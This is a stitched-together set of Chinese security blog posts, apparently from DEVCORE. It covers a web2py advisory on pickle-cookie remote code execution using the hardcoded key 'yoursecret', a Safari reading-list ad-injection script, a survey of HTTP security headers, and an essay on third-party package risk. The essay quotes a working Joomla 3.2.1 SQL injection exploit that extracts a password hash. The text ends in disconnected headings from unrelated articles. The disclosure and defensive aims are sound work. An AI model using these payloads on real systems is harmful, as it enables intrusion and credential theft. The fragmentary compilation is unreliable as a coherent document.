# gluon/globals.py#L846ifresponse.session_storage_type=='cookie':# check if there is session data in cookiesifresponse.session_data_nameincookies:session_cookie_data=cookies[response.session_data_name].valueelse:session_cookie_data=Noneifsession_cookie_data:data=secure_loads(session_cookie_data,cookie_key,compression_level=compression_level)ifdata:self.update(data)response.session_id=True

secure_loads 函式內容如下，在一連串解密後會用 pickle.loads 方法將解密內容反序列化，在這裡確定 cookie 內容會使用 Pickle 處理。[Ref]

# gluon/utils.py#L200defsecure_loads(data,encryption_key,hash_key=None,compression_level=None):if':'notindata:returnNoneifnothash_key:hash_key=sha1(encryption_key).hexdigest()signature,encrypted_data=data.split(':',1)actual_signature=hmac.new(hash_key,encrypted_data).hexdigest()ifnotcompare(signature,actual_signature):returnNonekey=pad(encryption_key[:32])encrypted_data=base64.urlsafe_b64decode(encrypted_data)IV,encrypted_data=encrypted_data[:16],encrypted_data[16:]cipher,_=AES_new(key,IV=IV)try:data=cipher.decrypt(encrypted_data)data=data.rstrip(' ')ifcompression_level:data=zlib.decompress(data)returnpickle.loads(data)# <-- Bingo!!!exceptException,e:returnNone

因此，如果知道連線中用以加密 cookie 內容的 encryption_key，攻擊者就可以偽造 session cookie，進而利用 pickle.loads 進行遠端命令執行。

CVE-2016-3953

很幸運的，我們發現 web2py 預設開啟的範例應用程式是使用 session cookie，並且有一個寫死的密鑰：yoursecret。[Ref]

# applications/examples/models/session.pysession.connect(request,response,cookie_key='yoursecret')

因此，web2py 的使用者如果沒有手動關閉範例應用程式，攻擊者就可以直接在 http://[target]/examples/ 頁面發動攻擊取得主機操作權。

Proof of Concept

我們嘗試用 yoursecret作為 encryption_key 偽造一個合法的 session cookie，並將一個會執行系統指令 sleep 的物件塞入其中。帶著此 session cookie 連入 web2py 官網範例應用程式(http://www.web2py.com/examples)，情形如下：

當插入的物件會執行指令 sleep 3 時，網站回應時間為 6.8 秒

POC1

當插入的物件會執行指令 sleep 5 時，網站回應時間為 10.8 秒

POC2

確實會因為塞入的 session cookie 值不同而有所延遲，證明網站的確執行了（兩次）我們偽造的物件內容。²

其他洩漏導致 RCE

此外，在 web2py 範例應用程式為了示範框架的特性，因此洩漏了許多環境變數。其中有兩個變數較為敏感，間接也會導致端命令執行，分別如下。

CVE-2016-3954

在 http://[target]/examples/simple_examples/status 頁面中，response 分頁內容洩漏了 session_cookie_key 值。這個值就是用來加密前面所介紹的 session cookie，搭配 CVE-2016-3957 Pickle 的問題可直接遠端命令執行。

CVE-2016-3954

無論使用者是否自行更改 session_cookie_key，或是該值是系統隨機產生。此介面仍然可以取得機敏資訊藉以造成危害。

CVE-2016-3952

http://[target]/examples/template_examples/beautify 頁面洩漏了系統環境變數，當使用者是使用 standalone 版本時，管理者的密碼就會在環境變數裡出現。這個密碼可登入 http://[target]/admin 管理介面，管理介面內提供方便的功能得以執行任意指令。

CVE-2016-3952

官方修復

Version 2.14.1 移除洩漏的環境變數。[Ref]

Version 2.14.2 使用不固定字串作為 session_cookie_key，並移除洩漏頁面。

# applications/examples/models/session.pyfromgluon.utilsimportweb2py_uuidcookie_key=cache.ram('cookie_key',lambda:web2py_uuid(),None)session.connect(request,response,cookie_key=cookie_key)

總結

web2py 框架預設會開啟一個範例應用程式，路徑為 http://[target]/examples/。
由於這個應用程式使用 Pickle 來處理序列化的 session cookie，且因為加密字串為寫死的 yoursecret，任何人可竄改 session cookie 的內容，藉此進行 Pickle 命令執行攻擊。
該範例程式介面中也存在 session_cookie_key、管理者密碼洩漏問題，兩個都會導致任意命令執行。除此之外，在這個應用程式中洩漏許多系統配置、路徑等資訊，有機會被拿來做進階攻擊。
在 2.14.2 版本後已經修復所有洩漏問題，當然最好的解決辦法就是關閉這個範例應用程式。

最後，來整理從開發者的角度在這個案例中該注意的要點：

小心處理序列化字串，使用者若有機會改變該字串值，有機會被插入未預期的惡意物件，造成惡意的結果。
正式產品中切記要移除任何跟開發相關的配置。

時間軸

2016/03/08 發現問題與其他研究
2016/03/09 回報官方 GitHub Issue
2016/03/15 成功與開發者 email 聯繫
2016/03/15 官方修復管理者密碼洩漏問題 (CVE-2016-3952)
2016/03/25 官方修復其他弱點並發佈 2.14.2 版本

附註

其實 CVE-2016-3957 並非不安全的設計，在跟 CVE team 溝通的過程中發現 web2py 開始使用 JSON 取代 Pickle [Ref]，因此判定 web2py 認為目前的設計是不洽當的，給予此編號。後來官方因故將 Pickle 改了回來，不過在沒有洩漏加密字串的前提下已經是安全的了。 ↩
在自行架設的 web2py 環境中只會執行一次，沒有去細追 web2py 官方網站為何執行兩次。 ↩

DEVCORE 的新網站上線了！
非常感謝專業的 EVENDESIGN幫我們設計精美的網站！

我們目前主要服務項目為滲透測試、資安教育訓練、資安事件處理、資安顧問服務，
各項服務的詳細內容可參考 Services頁面。

同時，在官網中我們將會不定期提供最新的資安新知及技術文章，
希望藉由我們的力量讓大眾更清楚資訊安全的重要。
並且透過站內的教學文獻，讓開發者、管理者進一步了解駭客的思維、攻防的手法，
知己知彼，才能百戰不怠。瞭解如何攻擊，更能知道如何防禦。

若對我們的網站內容或服務有任何建議，歡迎您隨時與我們聯繫。
希望我們能為您的企業資訊安全最佳把關者！
歡迎隨時聯絡我們！ contact [at] devco.re

歡迎來到我們的技術文章專欄！

今天我們來談談「廣告顯示手法」。不少廣告商為了要增加廣告的曝光以及點擊率，會使用各種手法強迫使用者顯示廣告。例如彈出式視窗、內嵌廣告、強制跳轉等等。但這樣的手法有什麼好提的呢？今天有一個很特別的案例，讓我們來看看一個網站「1kkk.com 極速漫畫」。

奇優廣告 Qiyou 廣告手法剖析 - 1kkk.com 這是一個常見的網路漫畫網站，接著點擊進去漫畫頁面。奇優廣告 Qiyou 廣告手法剖析 - 1kkk.com 漫畫頁面網站中充斥著煩人的廣告，並且突然一閃而過 Safari 的「閱讀列表」動畫。怎麼會突然這樣呢？讓我們打開「閱讀列表」一探究竟。

奇優廣告 Qiyou 廣告手法剖析 - Safari 顯示閱讀側邊欄奇優廣告 Qiyou 廣告手法剖析 - Safari 閱讀列表被放置廣告 URL

打開閱讀列表之後，我們赫然發現裡面被加了非常多廣告的頁面！

可以看以下影片示範：

這是怎麼做到的呢？就是一種利用 JavaScript 控制滑鼠點擊的變形應用。點選「網頁檢閱器」或是「開發者工具」，會看到一段奇怪的 JavaScript 控制滑鼠的點擊行為。

奇優廣告 Qiyou 廣告手法剖析 - 廣告 JavaScript

分析節錄後的 code 如下：

<!DOCTYPE html><html><head><script>varforce_add_url_to_readinglist=function(target_url){try{varfake_element=document.createElement('a');fake_element.setAttribute('href',target_url);fake_element.setAttribute('style','display:none;');// https://developer.mozilla.org/en-US/docs/Web/API/event.initMouseEventvarfake_event=document.createEvent('MouseEvents');fake_event.initMouseEvent('click',false,false,window,0,0,0,0,0,false,false,true,false,0,null);fake_element.dispatchEvent(fake_event);}catch(error){// nothing.}};varurl='http://google.com/?'+Math.random().toString().substr(1);force_add_url_to_readinglist(url);</script></head><body><h1>Test: FORCE_ADD_URL_TO_READINGLIST</h1></body></html>

利用「initMouseEvent」模擬滑鼠的點擊，在 URL 上按下 Shift 鍵點擊。在一般瀏覽器中是「開啟新視窗」，在 Safari 中則是「加入閱讀清單」了，因此形成廣告視窗不斷加入閱讀清單的現象。廣告商利用這種手法增加廣告的點擊率，只要瀏覽器沒有安裝阻擋廣告的套件或者是阻擋「彈出式視窗」，你就會成為流量的貢獻者。

經過我們的測試，Internet Explorer、Mozilla Firefox 不會受這類攻擊影響，Google Chrome、Opera 則會被內建的 Pop-up 視窗阻擋功能擋下。但若是直接模擬點擊，則全數瀏覽器都會受影響導向至 URL。雖然這種類型的攻擊不會造成實質上的損失跟危害，但若是結合其他惡意手法將可以造成攻擊。例如透過網站掛碼將使用者導向至惡意網站等等。

若要避免此類型攻擊，有以下幾個建議方案：

安裝 NoScript 類型套件，僅允許可信賴的網站執行 JavaScript
開啟「彈出式視窗」阻擋功能，並將網站安全性等級提高。
安裝 AdBlock 等廣告阻擋套件（但會影響網站營收）
使用最新版本瀏覽器以策安全

網頁型的攻擊越來越多樣化，除了依賴瀏覽器本身的保護並輔以第三方安全套件之外，更需要使用者本身的安全意識，才能安心暢快的瀏覽網路！

前言

隨著駭客攻擊事件日益漸增，原本經常被大眾所忽視的網站資安問題，現在已經逐漸受到重視。但是，許多企業主或開發人員雖然很想強化網站的安全性，卻不知道該如何從何著手。

企業主通常想到的改善方案是添購資安設備，希望可以一勞永逸。我們姑且先不談「資訊界沒有永遠的安全」這件事，企業光是要買到有效的資安設備就是一件令人頭痛的事情，不但要花許多時間聽取廠商的簡報，耗費大筆的經費採購，購買之後還要請員工或原廠技術人員協助調校、設定或教學，否則買了等於沒買。

而對於技術人員來說，若要強化網站安全性，必須先了解駭客如何攻擊，才知道如何建立根本性的防禦機制。但是企業主通常捨不得送員工去參加專業的教育訓練，台灣員工拿的 22k 低薪也低得常常令人捨不得花錢去上課。

如果有一種方式可以增強網站的基本安全性，而且不需要花大錢，又可以讓開發人員不用大幅度變更程式，應該是個皆大歡喜的方案？

究竟有沒有低成本的簡易防禦方法？

有的！目前各家瀏覽器 (Google Chrome、Firefox、Safari、IE) 其實已經支援許多種資安相關的 HTTP headers。開發人員若在伺服器設定加入某些 headers，瀏覽器收到 response 時就會執行相對應的防禦機制，如此一來可直接提升網頁應用程式的基本安全性。這些 HTTP headers 通常也已被許多常見的 framework 納入爲基本功能，即使開發人員不清楚如何修改伺服器相關設定，也可以依靠 framework 提供的方式來使用這些 headers。因此使用這些 headers 來提升網站安全性就成爲頗具 CP 值的方式。

目前最常見的資安相關 HTTP headers 可參考 OWASP 網站所條列的內容：

Content-Security-Policy (X-Content-Security-Policy、X-Webkit-CSP 都是同一系列)
Strict-Transport-Security
X-Content-Type-Options
X-Frame-Options
X-XSS-Protection

還有一些其他的資安相關 HTTP headers 也值得注意：

Access-Control-Allow-Origin
X-Download-Options
X-Permitted-Cross-Domain-Policies

最後有一項比較特別的是 Cookie 的安全設定，由於 Cookie 也是 HTTP headers 的一部份，因此本文也將其列出：

Set-Cookie: HttpOnly
Set-Cookie: Secure

上述 headers 的數量是不是稍微超過你的想像？其實這些技術早已被很多大公司採用，像是 Google、Facebook、Twitter 等常見的網路服務都可看到這些 headers 的蹤影。下面這張圖片使用 Chrome 的 Inspector 來觀察 Twitter 的 HTTP response 內容：

從畫紅線的部分我們可看到 Twitter 在 Cookie 設定了 Secure 與 HttpOnly 這兩個屬性，並且採用了 Strict-Transport-Security、X-Content-Type-Options、X-Frame-Options、X-XSS-Protection 這幾種 headers。

如果覺得用圖形界面太麻煩，也可以使用 command line 的工具來觀察。下面這張圖片使用 curl 來觀察 Facebook 的 HTTP response 內容：

上述資安相關的 headers 想解決哪些問題？

目前這些資安相關的 HTTP headers 想解決的問題主要可分為以下五大類：

防禦 XSS (Cross Site Scripting)：
- Content-Security-Policy
- Set-Cookie: HttpOnly
- X-XSS-Protection
- X-Download-Options
防禦 Clickjacking：
- X-Frame-Options
強化 HTTPS 機制：
- Set-Cookie: Secure
- Strict-Transport-Security
避免瀏覽器誤判文件形態：
- X-Content-Type-Options
保護網站資源別被任意存取：
- Access-Control-Allow-Origin（此 header 若設定錯誤會適得其反！）
- X-Permitted-Cross-Domain-Policies

其中 XSS與 Clickjacking是目前常見的攻擊手法，尤其 XSS 目前仍高居 OWASP Top 10 2013 的第三名，其嚴重性可見一斑。而在我們執行過的許多滲透測試案之中，被我們找出 XSS 弱點的網站高達九成！實在是不能輕忽這些問題。若能降低這些手法攻擊成功的機率，企業的利益就能有更多的安全保障，客戶對企業的信賴亦會更加穩固。

目前這些 headers 的使用狀況？

這麼簡便的基本防禦方式，理當廣為企業所採用，因此我們針對 Alexa Taiwan Top 525中挑出 513 個可正常使用的網站（咦？一般不是 Top 500 嗎？我沒騙你，真的有 525），調查這些網站是否使用某些常見的 HTTP headers。結果相當令人失望，許多網站都未採用這些 headers。統計數據如下圖：

從統計結果中可發現最多人使用的 HttpOnly 只有 21.25%，排名第二的 X-Frame-Options 也只有 7.80%。而且這些數據尚未將 Google、Twitter 等大公司排除，若將前述國際公司排除後，這些比率恐怕會更低。

不過在上述網站中有不少入口網站、漫畫網站、色情網站，或是公司並非台灣企業，無法反應台灣的使用狀況。恰好在 2012 年 10 月台灣有許多網路服務公司一同成立了 TIEA 台灣網路暨電子商務產業發展協會，目前網站上的會員名單中有 116 個會員，其中不少頗具代表性，正好可觀察這些公司營運的網站是否有採用這些 headers。統計數據如下圖：

很可惜地，所有 headers 的採用率比起上一份數據都還要低。除非公司網站僅使用靜態頁面，網站上沒有任何商業邏輯、帳號、個資，否則應該都要使用合適的 headers 為你的資安防禦工事多築一道牆。

而且由於 meeya 目前沒有正式官網，是直接使用 facebook 粉絲頁作為官網，因此 Content-Security-Policy、Set-Cookie Secure、Strict-Transport-Security、X-Content-Type-Options、X-Frame-Options、X-XSS-Protection 等六項 headers 的統計數量都還要再減一，頓時 Content-Security-Policy 與 Strict-Transport-Security 的總數量皆降至 0 個。此狀況顯示出，即使是在一些台灣主流的網站中，相關營運人員在資安領域仍有許多努力與學習的空間。

許多台灣企業經常顧著衝業績、開發新功能、趕著讓新服務上線，卻忽略了非常重要的基礎資安建設，往往是在遭到攻擊後才大呼損失慘重，甚至是已被滲透了而不自知，其企業利益與民眾個資的保障皆相當令人擔憂。

下集預告

接下來本文的續作我們會分幾個篇章詳談各種 headers 的使用方式並介紹實際案例，下一篇將會探討專門防禦 XSS 的 HTTP headers，敬請期待！等不及的朋友們就請先用上面的一些關鍵字自行上網查詢囉！

使用第三方套件節省開發時間，已經是整個資訊產業的慣例。但是很多管理者可能不知道，使用第三方套件到底需要擔負多大的資安風險。你確定你用的套件是安全無虞的嗎？是否有經過嚴謹的安全測試？若有安全漏洞引爆，是否有廠商可以負責維護修補？廠商開發的程式碼品質是否穩定？這些都是在使用之前必須要考慮的。

在服務眾多客戶之後，我們深知這些問題的嚴重性。以下我們將就幾個經典的案例來說明使用第三方套件所要擔負的風險，並且分享我們對於第三方套件的安全建議。

程式碼的安全性？

程式碼的品質直接決定了系統的安全性。如果一個套件有以下幾點因素：

程式開發已久難以修改
開發人員無安全觀念
大量整合外部套件，無法控管每個套件安全

可能就因為程式碼難以修改，形成漏洞百出的程式架構。若是之後陸續發生安全問題，儘管不斷的修補漏洞，但卻會因為程式碼的設計、架構等因素，造成日後依舊陸續有安全疑慮。

案例說明：DedeCMS

DedeCMS是知名的內容管理系統，不少公司拿此套件架設網站、部落格等。但在這幾個月，在「烏雲平台」上陸續有人揭露 DedeCMS 的漏洞。包括大量各種 SQL Injection、Cross-Site Scripting 弱點等等，甚至還包括 Command Execution 問題。如果沒有即時修正這些問題，小則造成用戶帳號被盜，大則造成整台主機被入侵，取得作業系統權限。

什麼系統沒被找到漏洞過呢？有那麼嚴重嗎？但該系統已經不只一次出現重大漏洞導致企業遭到入侵，在今年一二月份更是遭揭露多達十數個高風險 SQL Injection 資料庫注入漏洞。此現象凸顯該套件的設計並未經過安全測試，並且採用不安全的程式撰寫方式，未來可能會有更多隱含的漏洞釋出。

在平台中搜尋關鍵字「DedeCMS」，會發現漏洞提報的次數相當多，在漏洞的評論中也有不少技術人員進行討論。但更多的疑惑是為什麼 DedeCMS 會一再的發生資安問題。例如以下漏洞：

而於另一個「Sebug 安全漏洞信息庫」也可以看到不少 DedeCMS 的蹤影。

如果官方在第一時間就能接獲通報、了解問題並修正解決，提供更新程式給客戶更新，那安全的風險會小些。但在官方尚未釋出更新的這段時間，網站將完全的暴露在風險當中。有心人士看到套件的漏洞陸續被揭露，也會更有興趣尋找使用該套件的網站攻擊。

案例說明：Joomla!

Joomla!是另一套國際非常知名的 CMS 系統，因為其便利性，很多企業、學校、政府單位，都採用此套件建立網站。透過 Google Hacking 方式可以找到台灣非常多網站都使用 Joomla! 架站。

site:tw intitle:管理區 inurl:administrator

但是如果今天這個系統出了問題呢？「Joomla!」因為外掛、套件眾多，也經常成為漏洞發掘的對象。在 2014/02/05，國外釋出了一個 SQL Injection Exploit，可以導致網站帳號密碼直接被導出。

官方安全公告：http://developer.joomla.org/security/578-20140301-core-sql-injection.html

Secunia: Joomla! Multiple Vulnerabilities http://secunia.com/advisories/56772/

Exploit 位址：http://www.exploit-db.com/exploits/31459/

# Exploit Title: Joomla 3.2.1 sql injection
# Date: 05/02/2014
# Exploit Author: kiall-9@mail.com
# Vendor Homepage: http://www.joomla.org/
# Software Link: http://joomlacode.org/gf/download/frsrelease/19007/134333/Joomla_3.2.1-Stable-Full_Package.zip
# Version: 3.2.1 (default installation with Test sample data)
# Tested on: Virtualbox (debian) + apache
POC=>
http://localhost/Joomla_3.2.1/index.php/weblinks-categories?id=\
 
will cause an error:
 
1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\)' at line 3 SQL=SELECT `t`.`id` FROM `k59cv_tags` AS t INNER JOIN `k59cv_contentitem_tag_map` AS m ON `m`.`tag_id` = `t`.`id` AND `m`.`type_alias` = 'com_weblinks.categories' AND `m`.`content_item_id` IN ( \) Array ( [type] => 8 [message] => Undefined offset: 0 [file] => /var/www/Joomla_3.2.1/libraries/joomla/filter/input.php [line] => 203 )
 
I modified the original error.php file with this code --- <?php print_r(error_get_last()); ?> --- in order to obtain something useful. ;-)
 
Now i can easily exploit this flaw:
 
http://localhost/Joomla_3.2.1/index.php/weblinks-categories?id=0%20%29%20union%20select%20password%20from%20%60k59cv_users%60%20--%20%29
and obtain the hash:
 
1054 Unknown column '$P$D8wDjZpDIF4cEn41o0b4XW5CUrkCOZ1' in 'where clause' SQL=SELECT `m`.`tag_id`,`m`.`core_content_id`,`m`.`content_item_id`,`m`.`type_alias`,COUNT( `tag_id`) AS `count`,`t`.`access`,`t`.`id`,`ct`.`router`,`cc`.`core_title`,`cc`.`core_alias`,`cc`.`core_catid`,`cc`.`core_language` FROM `k59cv_contentitem_tag_map` AS `m` INNER JOIN `k59cv_tags` AS `t` ON m.tag_id = t.id INNER JOIN `k59cv_ucm_content` AS `cc` ON m.core_content_id = cc.core_content_id INNER JOIN `k59cv_content_types` AS `ct` ON m.type_alias = ct.type_alias WHERE `m`.`tag_id` IN ($P$D8wDjZpDIF4cEn41o0b4XW5CUrkCOZ1) AND t.access IN (1,1) AND (`m`.`content_item_id` <> 0 ) union select password from `k59cv_users` -- ) OR `m`.`type_alias` <> 'com_weblinks.categories') AND `cc`.`core_state` = 1 GROUP BY `m`.`core_content_id` ORDER BY `count` DESC LIMIT 0, 5
 
CheerZ>

值得注意一看的是官方公告，上面標註著漏洞回報時間以及修補時間。2014/2/6 接獲回報，2014/3/6 修復。在這整整一個月的時間之內，所有適用版本內的 Joomla! 網站都將受此漏洞影響。因此套件廠商的反應修復速度越慢，顧客暴露在風險之中的時間越長。

Project: Joomla!
SubProject: CMS
Severity: High
Versions: 3.1.0 through 3.2.2
Exploit type: SQL Injection
Reported Date: 2014-February-06
Fixed Date: 2014-March-06
CVE Number: Pending

案例說明：外包廠商

這樣的情境你是否熟悉？

公司有一套客製化的系統需要建置，但是因為公司內部開發人員不足，因此把這個系統外包出去給廠商做。貨比三家不吃虧，比了 A B C 三家，發現 A 家最便宜實惠，交貨時間又短。決定就把這個系統發包給 A 廠商做。半年過去了，這個廠商順利交貨結案。

一年過後，發現這個系統竟然遭到入侵，主動攻擊內部其他伺服器。「不是有買防火牆嗎？怎麼還會被入侵？」老闆說。這可嚴重了，馬上找廠商來刮一頓。沒想到，A 廠商表示，該案已經順利結案，維護期也已經過了，沒辦法提供協助，除非繼續簽訂維護合約。問題總得解決，簽訂了維護合約之後，A 廠商也協助把病毒砍掉了。圓滿結束？事情有那麼簡單嗎？

過了兩天，系統又開始攻擊其他伺服器。「病毒不是已經砍掉了嗎？」老闆說。問題在哪大家應該都很清楚。在尋找資安廠商協助之下，發現主機是因為 A 廠商設計的系統含有漏洞，導致 SQL Injection 問題，遭攻擊者利用植入惡意程式。A 廠商百般無奈，摸摸鼻子把這個漏洞修補起來。又過了兩天，再度遭到入侵。看了看，發現又是另一個 SQL Injection 問題。在幾次與攻擊者的不斷角力之下，終於好像把問題都修完了。

過了一週，系統再度有惡意程式的蹤跡，A 廠商也無能為力。資安廠商表示，買這個就對了！在陸續被迫買了防火牆、WAF、IDS 等設備後，雖然問題貌似改善，但系統仍然零星有入侵事件發生。公司只好「斷然處置」，等待下次預算，另請廠商重新開發系統。

問題 1：該系統是否還有其他漏洞？
問題 2：公司的處置是否正確？
問題 3：A 廠商的其他客戶是否有類似的問題？
問題 4：不是有買資安設備？為什麼還會有資安事件？
問題 5：公司該如何自保？
問題 6：廠商該如何自保？

想一下以上各點問題。

問題 1：該系統是否還有其他漏洞？

如果一個在開發時期就沒有注意安全的系統，很有可能有更多不為人知的漏洞。如果被動依賴資安事件，發生一件修一個漏洞，那是永無止盡的。正確的方式應該是直接針對 A 廠商的原始碼進行黑箱滲透測試、白箱源碼檢測 (Code Review)，才能快速找出所有風險。

問題 2：公司的處置是否正確？

「貨比三家不吃虧」，節儉確實是美德，但是在資訊產業中，越便宜的系統可能代表著更多的 cost down，除了犧牲掉品質之外，可能帶給企業更多損失。在資安事件發生時，一定要找原本維運廠商負責，並且與資安顧問公司配合，協助廠商把問題解決。

問題 3：A 廠商的其他客戶是否有類似的問題？

羅馬不是一日造成的，不安全的系統也不是一個漏洞造成的。廠商通常是做出一份系統，客製化販賣給不同的企業用戶。如果在建置的過程中沒有注意安全問題，今天這家客戶有這個漏洞，別的客戶一定也會有。因此如果採用了不良的廠商實作的系統，下一個被駭的可能就是自己。

問題 4：不是有買資安設備？為什麼還會有資安事件？

「不是有買防火牆嗎？怎麼還會被入侵？」是很多傳統思維企業的共同心聲。防火牆不是萬靈丹，駭客也絕對不是電腦。並不是完全依賴資安設備就能夠避免資安問題。在駭客的手法中，更多是如何繞過各種防禦設備手段，甚至有些資安設備本身竟然含有資安弱點，企業反而因為資安設備導致系統被入侵。

正確的思維應該是從人開始做起，建立正確的資安觀念、資安思維，學習駭客的思維。建立正確的系統開發流程、建立正確的資安事件處理流程。尋找信譽良好的資安顧問廠商，定期針對企業內部各系統進行滲透測試、弱點掃描。安全的建立絕非一蹴可及，唯有一步步踏穩才能走得更遠。

問題 5：公司該如何自保？
問題 6：廠商該如何自保？

請看下一個章節「建議對策」。

建議對策

一個安全的系統，絕對是由基礎建設開始，每個環節都兼顧到安全的設計，並且定期稽核程式碼安全，使用正確安全的方式開發。如果系統開發初期就沒有兼顧安全，後期不管怎麼修補，都還是會有漏洞讓攻擊者有機可趁。

企業該如何自保？使用 OpenSource 第三方套件或者是系統委外開發，是企業無可避免的。如果是第三方套件，平時可以多加注意套件的資安消息，如果一有新的漏洞被發現，將可以在第一時間應變。若沒有足夠人力密切注意資安消息，也可以委請資安顧問廠商協助，在得知資安消息的第一時間通報企業。委外開發的系統，企業可以要求廠商提出專業公正第三方資安公司進行檢測，並且提出安全報告，證明該系統有經過滲透測試等安全檢測，保障雙方的權利。

如果系統已經被入侵了，或者是被揭露了安全漏洞，該如何自保呢？在漏洞大量揭露的情況下，系統更會成為攻擊者的目標。因此要務必密切注意使用該套件的伺服器狀況，並且遵循以下原則：

密切注意官方的更新程式並立即更新
此台伺服器的帳號密碼切勿與他台共用
將此台伺服器與其他伺服器隔離，避免遭入侵時受害範圍擴大
異地備份伺服器的系統記錄，並定時檢閱記錄，觀察是否有可疑行為
考慮採用 Web Application Firewall (WAF)、ModSecurity 伺服器安全模組，增加攻擊難度
重新評估使用遭入侵套件的必要性以及安全考量，避免成為企業的隱含風險

使用第三方套件加速開發節省成本的同時，務必也要考慮安全的問題，才不會因小失大，造成企業更大的損失。同時企業也必須增加資安的素養以及了解攻擊者的思維，別讓自己的企業成為下一個資安事件報導的對象。

會被系統判定為無效的常見成因？

1. 系統支援問題 1

2. 相關憑證未被預載到系統中

3. 使用自行簽發的憑證

4. 連線被中間人(MITM)攻擊

開發者該如何處理？

Android 錯誤處理情況1

Android 錯誤處理情況2

Android 錯誤處理情況3

iOS 錯誤處理情況1

iOS 錯誤處理情況2

iOS 錯誤處理情況3

對 WebView 的一些補充

結語

參考

前言

DEVCORE 常利用的資訊洩漏

大數據資料蒐集

結論

CVE

台灣現況

問題起源

廠商該如何因應？

一般使用者、企業該如何亡羊補牢？

結論

常見的 Shellshock 利用方式

攻擊使用 CGI 的網頁伺服器

建置惡意 DHCP 伺服器感染連線使用者

繞過 Git/Subversion 伺服器的 shell 限制

Shellshock 威脅仍在擴大

結論：無需過度恐慌，但別掉以輕心

題外話

註解

相關漏洞

1. 遠端代碼執行 (Remote Code Execution)

風險：木馬跳板，個資被盜

防範

2. 繞過同源策略 (Same-Origin Policy bypass)

風險：個資被盜

防範

結語

參考

談台灣網站的金流串接

談駭客心理

結論

前言

問題與回報

驗證及危害

建議原則

結論

前言

基本細節

進階攻擊

風險原因

結論

註解

工作內容

工作時間

工作地點

條件要求

加分條件

工作環境

員工福利

薪資待遇

應徵方式

附註

寫在故事之前

弱點發現

似乎有點奇怪?

後記

Timeline

Foreword

Vulnerability Discovery

Was There Something Strange?

Epilogue

Timeline

電商網站的困境

自行開發網站存在漏洞

委外開發網站存在漏洞，但承包商不處理

內部員工電腦遭入侵外洩個資

1. 系統支援問題 ¹

反序列化＋序列化字串可控

CVE-2016-3957¹